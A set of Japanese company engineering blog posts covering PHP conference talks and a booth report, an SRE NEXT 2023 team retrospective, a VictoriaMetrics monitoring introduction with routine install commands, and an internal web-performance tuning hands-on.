リハーサル動画も上げてくださっているので是非ご覧になってみてください! www.youtube.com ラク スからの登壇セッションのご紹介 PHP 略語クイズ report by id:Y-Kanoh ( @YKanoh65 ) speakerdeck.com 私、Y-Kanohによる発表です。 LTは、イベントの最後にみんなで盛り上がるものということで、クイズ形式にPHPer関連の略語について紹介しました。 (カー○は関西だとまだ売ってますよ!!) ノン フレームワーク のレガシープロダクトを、Laravelに"載せる"実装戦略と、その後の世界 report by id:hirobex speakerdeck.com 私の発表です PHPerKaigi2023で発表させていただいたLTが好評だったので 今回レギュラー トーク 用に トーク 内容を増やして登壇しました! 20年以上開発がつづくレガシープロダクトをLaravelに載せたお話です。 既存コードベースにも PHP _CodeSnifferを導入して楽したい! reported by id:takaram 私、荒巻 ( @takaram71 ) の発表です。 www.docswell.com 私が担当するプロダクト・ 配配メール に PHP _CodeSniffer を導入した体験談をお話しました。 PHP _CodeSniffer は、 PHP コードのコーディングスタイルをチェックしてくれるツールです。たとえば以下のようなポイントをチェックしてくれます。 変数・クラス・メソッドなどの 命名 (スネークケースかキャメルケースかなど) 空白の使い方(インデント、 演算子 や括弧の前後など) 配列 リテラル は [] か array() か ただ既存のプロジェクトに実際に導入してみると、新規プロジェクトとは違った難しいポイントがあることがわかったため、それをどう解決したのかをお話しています。 このセッションを聞いたりスライドを見た方が、 PHP _CodeSniffer に興味を持っていただけていると嬉しいです!! ユニットテスト 環境整備~みんながテストを書ける環境へ~ report by id:rks_hrkw 私、堀川の発表になります。 speakerdeck.com 私の参加しているプロダクトで ユニットテスト の環境を導入・整備した体験談です。 困難も多かったですが最近はAI活用を筆頭に技術も進歩しているため、導入の難易度は下がっている印象です。 当然ですがプロダクトの息が長くなればなるほど導入には苦痛を伴うので、私たち以外にも ユニットテスト の環境が無いという方がいらっしゃればこの発表をきっかけに一歩踏み出していただければ幸いです。 クロージング report by id:Y-Kanoh ( @YKanoh65 ) クロージングでは、各地の PHP 系カンファレンスのイベント紹介がありました。 私も自分が実行委員長を務める PHPカンファレンス 関西の紹介をするため、登壇させていただきました! ラク ス初のブース出展 report by id:Y-Kanoh ( @YKanoh65 ) 今回は、 ラク スとしては初めての「ブース出展」を行いました!! 予想以上に広い会場で、他の企業の方もたくさんいる中での出展でしたが、たくさんの方に来ていただいて非常に盛り上がりました!! 今回、 ラク スのブースでは「 ラク ス認知度アンケート」と「 ラク ス PHP クイズ」を実施しました。 アンケートの結果は以下の通りです! みなさま、ご協力ありがとうございました!! アンケート結果 総回答数 220名 ラク スを知っていますか? 知っている 174名(79%)/ 知らない 46名(21%) PHPTechCafeを知っていますか? 知っている 82(42%) / 知らない 114(58%) アンケートに回答していただいた方には、以下の「Web × PHP TechCafe ステッカー」を、 クイズに回答いただいた方には「 ラク スオリジナルクリアファイル」を差し上げました!! PHPTechCafeステッカー 来場者配布物封入の儀 report by id:Y-Kanoh ( @YKanoh65 ) また、私は前日に東京へ移動し、来場者向けの配布物をトートバッグへ詰める「来場者配布物封入の儀」も行ってきました。 全部で1300個も作る必要があり、スタッフ含め30人程度の人数で数時間、配布物を袋に詰め続けました。 カンファレンスは勝手に生えてくるものではなく、誰かの努力で成り立っているため、手伝える部分は手伝い参加者も一緒になってイベントを維持していければと思います。 大勢で並んだ資料を詰めていく作業 詰め終わった袋の山 まとめ 今回のイベントは発表、参加、ブース出展と大忙しだったようですね。 ブースには多くの方々にご来場いただき大盛況でした! @YKanoh65 さんが実行委員を務める「 PHPカンファレンス 関西 2024」も楽しみですね! PHPerのためのコミュニティ PHPTechCafe ラク スでは PHP に特化したイベントを毎月開催しております。 その名も「PHPTechCafe」!! 次回は10/24(火)に『 PHPカンファレンス 2023を振り返る』 をテーマに開催します! まだまだ参加者を募集していますので、ぜひお気軽にご参加ください。 👉 PHPerのための「PHPカンファレンス2023を振り返る」PHP TechCafe 最後までお読みいただきありがとうございました! *1 : 確かに無料で使えますが、日頃お世話になっているのであれば寄付も考えたいですね😉
アバター
SRE課の飯野です。 去る2023/9/29(金)、『 SRE NEXT 2023 』が開催されました。 弊社SRE課からも6名が現地参加し、熱量あふれるたくさんのセッションを肌で体感してきました。 本ブログでは、SRE NEXT参加後にメンバーで実施した 感想戦 の内容をお届けします。 目次 SRE NEXTとは? 当日の様子 感想戦やってみよう 総括 SRE NEXTとは? SREに関わるトピックを扱う日本国内の大型カンファレンスです。 今年は約3年半ぶりにオフラインでも開催され(オンライン配信もありのハイブリッド方式)、東京・九段下の 九段会館 テラスにて行われました。 信頼性に関するプ ラク ティスに深い関心を持つエンジニアのためのカンファレンスです。 同じくコミュニティベースのSRE勉強会である「 SRE Lounge 」のメンバーが中心となり運営・開催されます。 SRE NEXT 2023は「Interactivity」「Diversity」「Empathy」という3つの価値観を掲げ、「双方向性のある意見交換の場にすること」「スタートアップから大企業まで、幅広い業種・領域・フェーズでのSRE Practice の実践を集約すること」「ビジネスサイド含めSRE以外の職責も含めて裾野を広げること」を意識して運営していき、より多様なSREの実践が普及することを目指します。 ( 公式サイト より) トータル1,000名を超える申込があり、オフライン参加の申込も220名ほどいらっしゃったようです。 大盛況なのが伺えますね。 当日の様子 タイムテーブル 基調講演がオープニングとエンディング枠でそれぞれ40分、それ以外のセッションは3トラック同時開催で各20分ずつ行われました。 また、ランチ休憩後にはオフライン会場限定でパネルディスカッションが開催されていました。 弊社のSRE課からは6名が参加しましたが、各人が興味のあるセッションをそれぞれ選択して拝聴しました。 もちろん重複したセッションもありますが、チームとしてのインプットの量がすさまじいですね! 閉会式のあとには懇親会が行われ、美味しいお酒と食事をいただきつつ、参加者の方々と交流することができました。 セッションを聴いたあの人やあの人とお話ができちゃうなんて! 感想戦 やってみよう さて、SRE NEXTに参加した熱が冷めやらぬうちに、後日さっそく 感想戦 を実施してみました。 実施するにあたって、事前に用意したフォーマットは下記です。 # 印象に残ったセッション ## タイトル ## 登壇者情報 ## スライド ## セッション概要 - セッションの内容を簡潔に ## 共有したい点、感想等 - どんな点に共感したか、疑問に思ったこと等 --- # 今後実施/挑戦したいこと - 参加してみてアクションを起こしたくなったものが何かあれば # 全体を通しての感想 - 率直な感想をご自由に それぞれが印象に残ったセッションを選択し、セッション概要と共有したい点/感想等を事前にまとめてもらいました。 以下、実際にまとめてもらった 感想戦 の内容を一部ご紹介します。 (※各感想の冒頭に記載しているSRE課メンバーの二つ名は課のみんなで考えました) カラオケでマイクを離さないのに唄わないUの感想 増え続ける公開アプリケーションへの悪意あるアクセス。多層防御を取り入れるSRE活動 セッション紹介ページ speakerdeck.com セッション概要 AWS パートナーもされていた方が現SREとして クラウド インフラでの具体的なセキュリティ対策を、レイヤーごとに細かくリストアップ 共有したい点、感想等 アプリ脳の自分からすると、具体的なセキュリティ対策のイメージがドッと増えた 他社のセキュリティ評価の観点を得られた セキュリティ評価上の ベンチマーク にしたいくらいの資料 今後実施/挑戦したいこと セキュリティに関して考えるときには上記で列挙されている観点は検討に入れていきたい 基調講演「 信頼性目標とシステムアーキテクチャー 」後半で話されていたレベルのことを主体的に話せるレベルまで解像度を上げたい 「 Runbookに何を書き、どのようにアラートを振り分けるか? 」にあったRunbookを「運用する」という観点でのアラート体制整備は取り入れるべき 全体を通しての感想 SREも突き詰めるとツラミ解決部隊なので、意外と共感できない部分とかもあり、概念自体の難解さと 不定 形さをあらためて認識した 面白い話ほど視座が高くて、今の自分には抽象度が高すぎた エンジニア経験が少ない自分には、具体性の高い 経験談 チックな話が理解しやすく、他社の現場目線を知ることができて非常に面白かった アイドルと設計をこよなく愛する課内の先生Iの感想 エンタープライズ 企業でのSRE立ち上げ挑戦の際に意識した事と気付き、現在地とこれから セッション紹介ページ speakerdeck.com セッション概要 イオングループ 子会社でのSREチーム創設と現在までの歩みを紹介(やってきたこと、意識したこと、しくじり事例) 共有したい点、感想等 目指すべきSREチームとしての方向性が我らと同じだと感じた その上で実績を積み上げているので、先人のマインドとしてとても参考になった やっていくにあたり ・組織に変化を起こすのは常に1人の行動から ・小さく始める  ・重要なところから  ・条件的にやりやすいところから ・満点は不可能 ・人が関わる以上、タイミングが必要な場合もある。準備をしながら機会を伺う  ・正論はときに人を傷つける 意識したこと ・意思決定者へ目指す方向を共有する ・説明よりも動くものを用意する  ・有益なものであれば乗ってくる ・コミュニケーション  ・オープンに話せる場を作っておく  ・同じ目標を持つ状況を作り出し、協力する   ・障害対応や有事の取り組みには、積極的に参加する   ・同じ目的・目標に向かって進む機会を増やす   ・短期的であればヒーロー的行動は効果的  ・結局は信頼関係が大事。相手の役に立つ事を積み上げる 今後実施/挑戦したいこと 成果物のデモ会の実施 不定 期のラジオをSRE課が主体となって開催 開発チームの領域でも、手を動かす部分を臆せず巻き取れるようになりたい 全体を通しての感想 上記のセッション以外にも参考になったセッションがたくさんあった 特に リクルートの近藤さんのセッション では開発チームを巻き込むSRE活動を紹介してくれていたので、真似できることはやりたい バカンス中もプールサイドでコーディングする課長Mの感想 勘に頼らず原因を見つけるためのオブザーバビリティ セッション紹介ページ speakerdeck.com セッション概要 オブザーバビリティの導入によってトラブルシュートの属人化を改善した事例を紹介 共有したい点、感想等 オブザーバビリティの基本をしっかりと解説しておりそもそもの概念が理解しやすい トラブルシュートでは特定メンバー頼りになりがちだが、個人の勘ではなくデータを元に対応可能な状態を目指すという考えはどこの会社でも今後必要になっていくものと考える 今後実施/挑戦したいこと コンテナ化が目下の目標だがオブザーバビリティ基盤の構築もしっかりと進めていきたい そもそも基盤があれば解決するものではなく、全エンジニアがオブザーバビリティの必要性を正しく認識する必要がある、そのための啓蒙活動は進めたい 全体を通しての感想 競合他社と比較して自社の立ち位置を客観視出来たのは良かった 現状を改善するための取り組みをしっかりと進めたいと思う 最近肩凝りに苦しむパパさんエンジニアIの感想 Warningアラートを放置しない!アラート駆動でログやメトリックを自動収集する仕組みによる恩恵 セッション紹介ページ speakerdeck.com セッション概要 本来アラートは「人間が即座にアクションを起こす」もの。 Warningは「これから重要な問題がおきそう」という扱いだが、 現実的に Slackにひっそりと流されてたりして、実際には「人間の行動が起きない」しかも「結構な数が出る」 → 結果、オオカミ少年と化し、役に立たなくなる。 そしてハインリッヒの法則に従い、一定の潜伏期間を経て大爆発する アラートの調査=人力=トイルが含まれる可能性が高い 「Warningアラートの調査はトイルになりがち」  アラート発生  →WebHook  →危ないかどうかの初期判断情報を集めるAPPを作ってみたら良かった! 共有したい点、感想等 「Warningはトイルです」と言われ、確かに!と思った。 ラク スと状況が似ているし、インフラ出身なので、「コレは使える!」とピンと来る感じがあった 今後実施/挑戦したいこと オブザーバビリティの導入 ページャのモダナイズ ChatOpsに寄せていきたい Runbookは脱 Excel をして GitHub に アラート時にAPPから引張りやすく そもそもRunbook自体を減らしていく活動(自動化) GitHub に寄せることでRunbookの管理状況を可視化 誰がどれだけメンテしている? 減っている?増えてしまっている? サービス毎に特性がある?お手本にすべきサービスは・・等 全体を通しての感想 開発の決済者(マネジメント層)もぜひ視聴してほしいイベントだった 他社と比較し、"検討" や "課題感" ではなくとりあえず "実践" してみないと、と感じた Google の山口さんも言っていたが、 SRE NEXT 2021で各社起案していたものが2023では実践レベルに 他社と比較すると、意思決定が遅い気がする 組織全体のマインドを変えないと、他社との差がより開いてしまう オブザーバビリティを導入したいという想いがより強くなった ビジネスの可視化は当然これの先にある、予測に基づいた設計をしていかないと 可観測性が低いことが一因となって意思決定のスピードも遅くなっているのでは k8s のアップデート戦略等、モダナイズの設計や方向性は他社とあまり外れておらず一安心 ビールと肉を愛する姉御エンジニアIの感想 開発者とともに作る Site Reliability Engineering セッション紹介ページ speakerdeck.com セッション概要 SREを開発者と”ともに”実現するための事例紹介 かつてはSREがやることはSREだけで決めていたが、それが本当に必要な作業だったのか?という疑問から行動を変えた 開発者からFBを得ることに注力し、以下に取り組む サーベイ の実施、取り組みの共有、チームに入る 上記は組織マネジメントを狙って実施したものだったが、結果話す場のデザインを行ったことによりふりかえりや挑戦/サポートの文化が定着した 共有したい点、感想等 開発チーム向けの サーベイ の実施や、進めているPJの共有等、取り組んでいるものがおおよそ(正解は別にないけど)同じだったので自信になった 困っている人の声が集まる状態にして、さくっと助けてあげる感じの文化がとてもよい(まさに信頼貯金) 開発チームへの期待値を明示して、開発チーム自身がやりたいと思っていることは支援をしてあげるという立ち位置もよき 「ここからここまでしかやらない」という線引きじゃないところがよき 開発チーム⇄SREの留学も行われてるそうで、お互いのプロセスを体験するのもよい取り組み マネージャーも兼務するらしい 総じてエモかった 今後実施/挑戦したいこと SREのロードマップにある「文化醸成」は地道な種まき(仕掛け)と関係構築の賜物だと思うので、モダナイズやトイル削減といった具体的なものを進めつつ、広く信頼関係を構築していきたい 開発組織に仲間を見つける 全体を通しての感想 SREイベントに参加したの初めてだったので、そもそもの心構え的なものが学べて豊作 ポジション的なところもあって、狙って組織作りのセッションを選んでたけど、どの組織も課題は同じっぽかった 結論SREは 総合格闘技 だし何より信頼関係の構築=対話が大事 マウンテンデュー ばっかり飲んでる新米CKAのSの感想 QAと共に築く、機能性を通じた信頼性担保への取り組み セッション紹介ページ speakerdeck.com セッション概要 新規プロジェクトに携わる中でQAチームと協力し、機能性を担保するためにSREとしてどのように関わり、信頼性向上に取り組んだか 共有したい点、感想等 コミュニケーションとコラボレーションが大切 信頼性の担保と同じくらいコミュニケーションとコラボレーションは大切 必要性があれば仕組み作りが大切 結局は日々のちょっとしたコミュニケーションの継続がコラボレーションにつながる 印象に残った取り組み チームの学習機会を奪わないよう、アド バイス は行うが具体的な例までは提示しない タスクの インパク トが低いものについては爆速で解決することを心がけることによって信頼貯金を増やした 今後実施/挑戦したいこと 社内のイベント等に参加してコラボレーションを増やしていきたい 些細な手助けを心がけて信頼貯金を貯めていきたい もちろん手助けするには知識も必要なため継続的に学習する もっとフランクにコミュニケーションを取っていきたい 全体を通しての感想 基調講演の「信頼性は会話です」が響いた 普段から会話していない人と信頼関係は築かないよなと感じた 総括 以上、『SRE NEXT 2023』に参加したメンバーの 感想戦 の内容をご紹介しました。 セッションを聴いただけではなく、同じ熱量を感じた状態でチームメンバーと感想を共有し合えた点は組織としてよい刺激になったと思います。 ラク スのSRE文化はまだまだ発展途上ですが、他社の皆さまがこれまで取り組まれてきた事例を聞いて、自分たちの進むべき方向性や価値観を再確認できたのはとても大きな収穫でした。 わたし個人としてはオフラインでのイベント参加がコロナ以降初めてだったので、会場の雰囲気を久しぶりに生で味わえてとてもよい機会になりました。(イベントの醍醐味はやはり懇親会!!) スタッフの皆さま、登壇者の皆さま、企画運営本当にお疲れ様でした。そしてありがとうございました! 最後に、唯一撮っていた懇親会のお寿司の写真を添えておきます。 来年のSRE NEXTも今から楽しみですね!
アバター
顔の濃さが唯一の アイデンティティ のインフラエンジニア、m_yamaです。15カ月ぶり2度目の登場です。 去年、 ラク スで先行技術検証を行っている「技術推進プロジェクト」で取り組んだ「スケーラブルな監視システム」について、1年たっぷり寝かせた熟成リリースとなります。お目汚し失礼いたします。 VictoriaMetricsとは? VictoriaMetricsのメリット・デメリット VictoriaMetricsのメリット VictoriaMetricsのデメリット VictoriaMetricsの導入方法 1. VictoriaMetricsの構築 2. 監視対象にexporterをインストール 3. vmagentのセットアップ VictoriaMetricsの活用事例 コロプラ(colopl)の場合 Adidasの場合 CyberAgentの場合 VictoriaMetricsでログは見れないの? まとめ VictoriaMetricsとは? VictoriaMetricsは、 オープンソース の時系列データベースと監視ソリューションです。 Prometheusと互換性があり、設定ファイルをそのまま使えたりもするので、プロメテウサーは違和感なく利用できるはず。 ちょっと強い表現になってしまいますが、個人的には Prometheus上位互換 の OSS 監視ツール 、と感じています。 そんなVictoriaMetricsには、2つのバージョンがあります。 single nodeバージョン clusterバージョン ざっくり主要な機能をまとめてみました。以下のグレーバックの コンポーネント をまとめたのがsingle nodeバージョン、分割したのがclusterバージョンになります。 (他にもalertやproxyなどの便利そうな コンポーネント がいくつかあります) clusterバージョンはマイクロサービスで ナウい のでこちらの方が良さそうですが、公式としては 100万データポイント/秒以下 ならsingle nodeバージョンを勧めています。 It is recommended to use the single-node version instead of the cluster version for ingestion rates lower than a million data points per second. https://docs.victoriametrics.com/Cluster-VictoriaMetrics.html 一般的なnode_exporterの場合、1サーバで700メトリクスとちょっとあったので(※)、デフォルトの収集間隔の1分をもとにざっくり単純計算すると、監視対象が7万台ぐらいならsingle nodeバージョンで良さそうです。 ※ AmazonLinux2023の場合 1,000,000(メトリクス/秒) / 800(メトリクス/サーバ) = 1,250(サーバ/秒) 1,250(サーバ/秒) * 60(秒) = 75,000(サーバ/分) もちろんそんなバランスよくタイミングをずらしてデータ収集できるわけはないので要検証ですが、 冗長化 すればかなりの台数を監視できそうではあります。 VictoriaMetricsのメリット・デメリット VictoriaMetricsのメリット Prometheusと互換性がある Grafanaから見る分には違いはない データ圧縮効率が高く、長期保存に向いている TimescaleDBと比べて最大70倍 Prometheusと比べて最大7倍 Prometheusで1TBのデータが120GBまで減ったとの記事もあり (clusterバージョンの場合) コンポーネント がわかれておりスケーラビリティに優れる スケールアウト・インが可能 vmselect: 読み込み。複数人がたくさんのグラフを一度に取得しようとしたときにスケールアウトすればスムーズに読み込まれる(はず) vminsert: 書き込み。監視対象が増えて監視データが増えても手動で追加する必要なし スケールアウトのみ可能 vmstorage: データ保存。重いクエリがたくさん来てもスケールアウトすればスムーズな処理ができる。はず。 ※スケールインはデータロストを伴うので、計画的な拡張が必要 (clusterバージョンの場合) マルチテナントをサポート 複数システムの一元管理もしやすい VictoriaMetricsのデメリット 日本語での導入事例が(Prometheusよりも)少ない コンポーネント が多くやや複雑 ※デメリットに関してはあまり情報を見つけられず、推しが強めな内容になってしまっています。。 みなさんが検証する時に、ダメな点をぜひ教えてください(他力本願) VictoriaMetricsの導入方法 VictoriaMetricsで監視を始めるには、やることが3つあります。 VictoriaMetricsそのものの構築 監視対象にexporterをインストール vmagentのセットアップ ここではシンプルなsingle nodeバージョンで話を進めます。 1. VictoriaMetricsの構築 single nodeバージョンのVictoriaMetricsは1バイナリで動くので、 github からダウンロードして実行するだけで起動します。 # ダウンロード curl -sLO https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/v1.94.0/victoria-metrics-linux-amd64-v1.94.0.tar.gz # 解凍 tar xzf victoria-metrics-linux-amd64-v1.94.0.tar.gz # 実行 ./victoria-metrics-prod -storageDataPath=/path/to/data -retentionPeriod=1y こんだけ。わー簡単。(本番運用するならサービス化とかログとか必要だけども) 起動オプション はいろいろありますが、公式曰く、基本的にデフォルト値を使えば十分、とのことです。助かる。 また公式で ansibleのplaybook も用意されているので、clusterバージョンで複数台のnodeを使う場合は、こちらをベースにコード化しておくと楽そうです。 さらにさらに、各 コンポーネント には公式の docker image もあるので、 k8s とかECS Fargateでも監視 クラスタ ーを構築できそう。EFSをマウントしてデータをそこに入れれば、ほったらかしサーバレス監視システムができそう?やってみたい人生だった。 2. 監視対象にexporterをインストール 監視対象のサーバには、目的に合ったexporter(node_exporter、postgres-exporterなど)をインストールする必要があります。 手順(というにはシンプルすぎるけど)は以下の通り。 curl -sLO https://github.com/prometheus/node_exporter/releases/download/v1.6.1/node_exporter-1.6.1.linux-amd64.tar.gz ./node_exporter-1.6.1.linux-amd64/node_exporter & こんだけ。わー簡(以下略) その後、 {サーバのIP or ホスト名}:{exporterのポート}/metrics にアクセスすると以下のようなデータが取得できます。 # node_exporterの場合 [ec2-user@hoge-server ~]$ curl -s localhost:9100/metrics | head # HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles. # TYPE go_gc_duration_seconds summary go_gc_duration_seconds{quantile="0"} 3.1403e-05 go_gc_duration_seconds{quantile="0.25"} 3.1403e-05 go_gc_duration_seconds{quantile="0.5"} 3.1403e-05 go_gc_duration_seconds{quantile="0.75"} 3.1403e-05 go_gc_duration_seconds{quantile="1"} 3.1403e-05 go_gc_duration_seconds_sum 3.1403e-05 go_gc_duration_seconds_count 1 ※基本的なメトリクスの取得に使われるnode_exporterでは、CPUやメモリなど700ちょっとのメトリクスをリアルタイムで取得できました。 そのメトリクスを、vmagent(後述)が定期的に取得しにくるので、監視対象でやることはexporterを起動しておくだけ。簡単。 exporterも監視対象に個別にインストールとかだと白目剥いちゃうので、ansibleでコード化しておきたいですね。 3. vmagentのセットアップ 監視サーバと監視対象サーバの準備ができたら、監視対象サーバから上記のメトリクスを取得してVictoriaMetricsに投げるやつが必要です。それがこのvmagentです。 さっきとほぼ同じなので書くほどでもないのですが、一応導入手順を書いておきます。 (vmagentはvmutils-*に含まれる複数のバイナリのうちの一つです) curl -sLO https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/v1.94.0/vmutils-linux-amd64-v1.94.0.tar.gz tar xvf vmutils-linux-amd64-v1.94.0.tar.gz ./vmagent-prod -promscrape.config=/path/to/prometheus.yml -remoteWrite.url=https://{victoria-metrics}/api/v1/write こ(以下略) configには監視対象や設定を記載します。詳しくはPrometheusのconfigurationを。 prometheus.io 調べると、vmagentではなくPrometheusを使っている事例が多いのですが、Prometheusに比べてvmagentの方がメモリやCPU、ディスクIO、ネットワーク 帯域幅 を抑えることができるそうです。 すでにPrometheusを使っていてvmagentに乗り換える場合は、Prometheusの設定ファイルを使えるので移行も簡単。(Prometheus単独で使ってきた場合、設定ファイルにremote_write.urlでVictoriaMetricsを指定する必要はあります) VictoriaMetricsの活用事例 コロプラ (colopl)の場合 累計データポイントが1,500億以上の k8s クラスタ ーの監視にVictoriaMetricsを利用しているそうです。Prometheusではスケールアップしても耐えきれなかった 負荷試験 を、VictoriaMetricsでは安定してクリアできたとのこと。 (4年前の情報なので、さらに進化を遂げていそう) [Prometheus Meetup#3] Victoria Metricsで作りあげる大規模・超負荷システムモニタリング基盤 / Monitoring Platform With Victoria Metrics - Speaker Deck Adidas の場合 事例というよりPromCon2019(Prometheusに関連するカンファレンス)で紹介されたPoC的な内容のようですが、Prometheusのリモートストレージとしても検討される時系列DBのInfluxDBやThanosと比較して、圧倒的にリソース消費量が少ないことがわかります。 https://promcon.io/2019-munich/slides/remote-write-storage-wars.pdf CyberAgent の場合 2020年時点で、30以上の Kubernetes クラスタ を横断監視しているとのこと。プロダクトの増加による追加コストを抑えられている、というのは、Prometheusのサービスディスカバリとか省エネなリソース消費的な話かな? (新卒で入社後半年でこの内容はすごい。。) VictoriaMetrics+Prometheusで構築する複数Kubernetesの監視基盤 - Speaker Deck FIFA ワールド カップ カタール 2022の監視にも導入されていた模様。 GMP ( Google Managed Prometheus)のサブ的な使い方? 大規模イベントを支えるクラウドアーキテクチャの実現 / ABEMA Cloud Platform Architecture for Large-scale Events - Speaker Deck VictoriaMetricsでログは見れないの? これまでは名前の通り、メトリクスに特化した監視システムで、ログを見る場合はElasticsearchやGrafana Lokiなどを利用する必要がありました。が、2023/7にvictorialogsがプレビューリリース(v0.1.0)され、ログまでまとめて管理できるようになりそうです。(2023/10/13点でv0.4.1が最新) 公式によると、victorialogsは、ElasticsearchやGrafana Lokiと比べて、最大で30倍のデータを処理できる、とのことです。すごい。 現在携わっている blastmail , blastengine (宣伝)でも、Elasticsearchのログやindexが肥大化してあっぷあっぷなので、こういった新しいツールも上手く活用できればいいなあ、というお気持ちです。 まとめ OSS 監視のVictoriaMetricsについてまとめました。 SaaS の監視システムの料金が無視できなくなってきたらぜひ検討してみてください。
アバター
こんにちは、あるいはこんばんは。だいたいサーバサイドのエンジニアの( @taclose )です☆ みなさん、この本を読んだ事ありますか?? 達人が教えるWebパフォーマンスチューニング 〜ISUCONから学ぶ高速化の実践 ISUCONをテーマとしながらWebパフォーマンスの改善の進め方を解説した本で、改善するなら一度は読む事をお勧めします! とはいっても、いざWebパフォーマンス改善をしようと思っても中々糸口が掴めなくて難しいんですよね! 数学でいうなら、練習問題は見たけど、いざ演習やると解法がわからないっていう感じでしょうか(汗 そこで、 TDDハンズオン に引き続き、 弊社ではWebパフォーマンス改善ハンズオンを実施 しました! 今回はそんな ハンズオン開催を行った際のスライド資料や結果、考察をまとめて公開 しようと思います。 対象読者は以下を想定 WEBパフォーマンス改善のハンズオンをわが社でも開催するぞ! WEBパフォーマンス改善について学びたい! では、本題に入ろうと思います。 WEBパフォーマンス改善ハンズオン スケジュール スライドはこちら 学習結果(効果測定と気づき) 反省点・感想 時間が全然足りてない! 経験の少ない人にはどこから取り掛かればよいのか、難しい 最後に 参考資料等 WEBパフォーマンス改善ハンズオン 基本的な流れは、先ほどご紹介した書籍にある private-isu というものを使って擬似的な SNS サービスのパフォーマンス改善を行うといったものです。 これを2日間に分けて座学とハンズオンを合計3時間〜4時間かけて実施しました。 github.com スケジュール 1日目はこのあとに記載しているスライドをみれば詳細がわかりますが、座学としてパフォーマンス改善の方法をレクチャーします。 具体的なチューニング方法がこんなのあるよ!ではなく、 計測→ ボトルネック を見つける→ ボトルネック を解決する→効果測定という流れを経験してもらいました 。 2日目は ボトルネック を見つけて、改善方法を悩んでもらいつつ、ヒントを出しつつハンズオンを実施してもらいました。 スライドはこちら 実際のスライドは以下になります。もし良かったら皆様の会社で、または個人でハンズオンされる際に参考にしてください。 ※コマンドをコピーしたい場合はPDFとしてダウンロードしてくださいね! 学習結果(効果測定と気づき) 最初数百点だったスコアですが、3万点近くまで改善したチームがいました! 1時間足らずでこの結果はすごいですね! いくつかのチームに感想や改善の流れがどうだったかを聞いてみたところ どこが遅いのかわかっても、改善方法がわからなかった アプリ側の ソースコード の修正は苦労した 使い慣れない ミドルウェア のチューニングに苦労し時間切れとなった などなど... 反省点・感想 最初は1時間半x2日を予定していたハンズオンでしたが、みんな自主的に延長して合計4時間近くの開催となりました。 アンケートでも好評だったようで、これはまた来年もやっていいんじゃないかと思えました。 反省すべき点としては、以下のようなところがありました。 時間が全然足りてない! 今回のハンズオンでは大前提としてチームの中で誰かしらは「nginxの設定は出来る。」「 mysql のINDEXを張るコツを知っている」「ある程度はどこを修正すべきか勘所を知っている」そんな前提がある内容だったため、ハンズオン以前の所で時間を消費してしまったチームも発生してしまいました。(運営側の反省すべき点) せっかく ボトルネック がどこかわかっても、どうアプローチすれば良いのかが判断付かず、悠長に調べる時間がなかったようで...申し訳ないOrz 他にも「土日使ってやりたかった」とかの意見もありました。私も確かにもっと時間欲しかった!(切実) とはいえ、アプリも改修して、キャッシュの有効化までトライしているチームもあり、経験者がいるかどうかの差はでかかったようです! みんなも次は色々な改善方法を学んで是非リベンジしてほしいと思います! 経験の少ない人にはどこから取り掛かればよいのか、難しい ヒント出し過ぎても面白くないのかなとアタフタしてたのですが、アンケート結果からすると 難易度が高すぎた と感じました。 ハンズオンの時間は運営側が声かけするのも良いのですが、手が回らないと思います。 なので、 時間経過毎に「こう計測すると ボトルネック わかります。疑わしい所はここなのでコード読んでみましょう。このbreak臭いますね」と計測~改善までの流れを公開していく スタイルが良かったのではないかと思いました。 最後に パフォーマンス改善は基本的には トップダウン 方式(正攻法を適応していく)よりも ボトムアップ 方式(遅い場所を直す)が良い と言われており、それは間違いありません。 でも、 ボトムアップ 方式でやる時に改善方法の知識の引き出しが少ないと改善効果の割に内部品質ばかりが下がるような最悪の事態にもなり兼ねません。 そういう意味では、 ボトルネック な部分では一体何が行われていて、そこを回避する方法はどういったものがあるのか を日々学習していく事が重要になってきます。 最後になりますが、private-isuはDocker版もあります。 参考資料のURL一覧に eichisanden さんの「 private-isuをdockerでセットアップした時のメモ 」等貼っておきますので、是非参考にしながらみなさんもトライしてみてください! ハンズオンみんなお疲れ様でした! ハンズオンの様子(東京・大阪) 参考資料等 書籍:達人が教えるWebパフォーマンスチューニング 〜ISUCONから学ぶ高速化の実践 private-isu/manual.md at master · catatsuy/private-isu · GitHub private-isuをdockerでセットアップした時のメモ private-isuをdockerでやってみた時のメモ
アバター